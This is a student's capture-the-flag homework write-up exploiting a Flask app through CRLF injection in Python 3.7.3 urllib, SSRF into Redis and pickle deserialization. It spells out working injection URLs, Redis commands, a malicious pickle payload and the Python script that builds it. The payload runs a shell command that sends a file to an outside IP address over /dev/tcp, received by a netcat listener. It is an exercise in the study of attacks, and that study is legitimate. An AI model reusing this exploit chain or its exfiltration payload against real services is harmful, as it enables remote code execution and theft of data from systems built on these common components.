

Computer Security HW6 Write-Up

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Reference

Python 3.7.3 urllib possible CR-LF injection

- <https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf>
 - <http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html>
- <https://nvd.nist.gov/vuln/detail/CVE-2016-5699>
 - hijack header by inserting CRLF in host address
- <https://nvd.nist.gov/vuln/detail/CVE-2019-9740>
 - hijack body by inserting CRLF in URL parameter or path

Strategy

- Flask use Redis to store its session data
 - session data: an serialized object
- if session data can be modified by an SSRF request to Redis
 - by deserialization => RCE

some CRLF is represented by `\n` in this write-up

First Attempt: gopher://

attempt

gopher can generate a TCP packet to Redis
and modify its data

payload URL: `gopher://redis:6379/_SET%20key1%20"val1"%0d%0a`

hindrance

`urllib` in Python3 does not support `gopher://` protocol

solution

use `http://`

Second Attempt: CR-LF Injection to Hijack Host Header

attempt

if URL is: `http://0%0aSET var 87%0a:5000`

the host part will be: `0%0aSET var 87%0a:5000`

we can control the "Host" field in header

full request:

```
GET / HTTP/1.1
Host: 0\n
SET var 87\n
```

a valid redis command `SET var 87` emerges

hindrance

URL: `http://0%0aSET var 87%0a:5000`

`ValueError: Invalid header value`

reason

- See: <https://github.com/python/cpython/blob/3.7/Lib/http/client.py> :141
`is_illegal_header_value = re.compile(r'\n(?:[\t])|\r(?:[\t\n])').search`
- in host part of URL, any LF should be followed by a space or tab

solution

add a space after every LF in URL: `http://0%0a SET var 87%0a :5000`

Redis will ignore the leading space

Third Attempt: Hijack Flask Session Data in Redis

attempt

we want to modify session data in Redis to put our exploit in:

```
SET session:209eabcenec0-e92de-e9ue "<our serialized malicious data>"
```

so that the unserialization of our malicious data leads to RCE

hindrance

`idna label too long`

reason

- a domain: `www.field1.field2.field3.com`
 - each field by DNS standard should have up to 63 characters

solution

use APPEND instead of SET command

add some dots to separate the URL:

```
http://172.18.0.2%0a.%0a set session:2e556664-a9fb-46d7-a8f4-5ed3c5da94b2 ""%0a.%0a
APPEND session:2e556664-a9fb-46d7-a8f4-5ed3c5da94b2 "%5Cx8"
```

after unquote:

```
Host: 172.18.0.2
.
SET session:<sessid> ""
.
APPEND session:<sessid> "<data fragment 1>"
.
APPEND session:<sessid> "<data fragment 2>"
.
APPEND session:<sessid> "<data fragment 3>"
.
```

Fourth Attempt: Continue the Third Attempt

hindrance

redis_1 | 1:M 10 Dec 2019 05:49:29.604 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

reason

- See: <https://github.com/antirez/redis/blob/5.0/src/server.c> :325
 - if an “host:” string appears as the first word of a command, access is denied by Redis

solution

Not found yet. QQ

Fifth Attempt: CRLF Injection to Hijack Body

attempt

add **non-quoted** CRLF in URL path: (Python code)

```
urllib.request.urlopen('https://edu-ctf.csie.org:10163',
data=b'url=hhttp://redis:6379\nSET var 87\nSAVE\n..padding')
got shorted URL: https://edu-ctf.csie.org:10163/eud8c6Y
```

This succeeded in Python 3.7.3 !

The behaviour depends on Python version

In more recent version, this will err:

- `http.client.InvalidURL`: URL can't contain control characters.
- See: <https://github.com/python/cpython/blob/3.7/Lib/http/client.py> :148
 - `_contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f]')`

next step

visit the shorted URL: <https://edu-ctf.csie.org:10163/eud8c6Y>

in server's `get_title()` it will send request to URL: `http://redis:6379/\nSET var 87\nSAVE\n..\npadding`

The expected request:

```
GET /\nSET var 87\nSAVE\n..\npadding HTTP/1.1\nHost: redis:6379
```

Since "Host:" appears after SET and SAVE, data is written BEFORE Redis break the connection, our data is successfully written!

Final Exploitation

1. visit <https://edu-ctf.csie.org:10163> and get session id in cookie
 - b6ef01b6-6008-41d8-a383-2aefc8b3bd22
2. send post to <https://edu-ctf.csie.org:10163> (\n denote LF)
 - with our pickle-serialized data: `"\x80\x03cposix\nsystem\nq\x00X?\x00\x00\x00bash -c 'cat th1s_i5_y0ur_fl4g > /dev/tcp/140.112.196.228/6666'q\x01\x85q\x02Rq\x03."`

```
POST / HTTP/1.1\n\nurl=http://redis:6379/\nSET "session:b6ef01b6-6008-41d8-a383-2aefc8b3bd22" "<our serialized data>"\nSAVE\n..\npadding
```

3. visit shorted URL: <https://edu-ctf.csie.org:10163/eud8c6Y>
 - session is overwritten by our payload
4. `nc -vkl 6666`
5. refresh the initial page with the same session id
6. get flag!
`FLAG{cyku__nogg}`

script to generate serialized payload

```
import os
import pickle

class Exploit:
    def __reduce__(self):
        return (os.system, (
            'bash -c "cat this_is_y0ur_fl4g > /dev/tcp/140.112.196.228/6666"',))

shellcode = pickle.dumps(Exploit())
print(shellcode)
```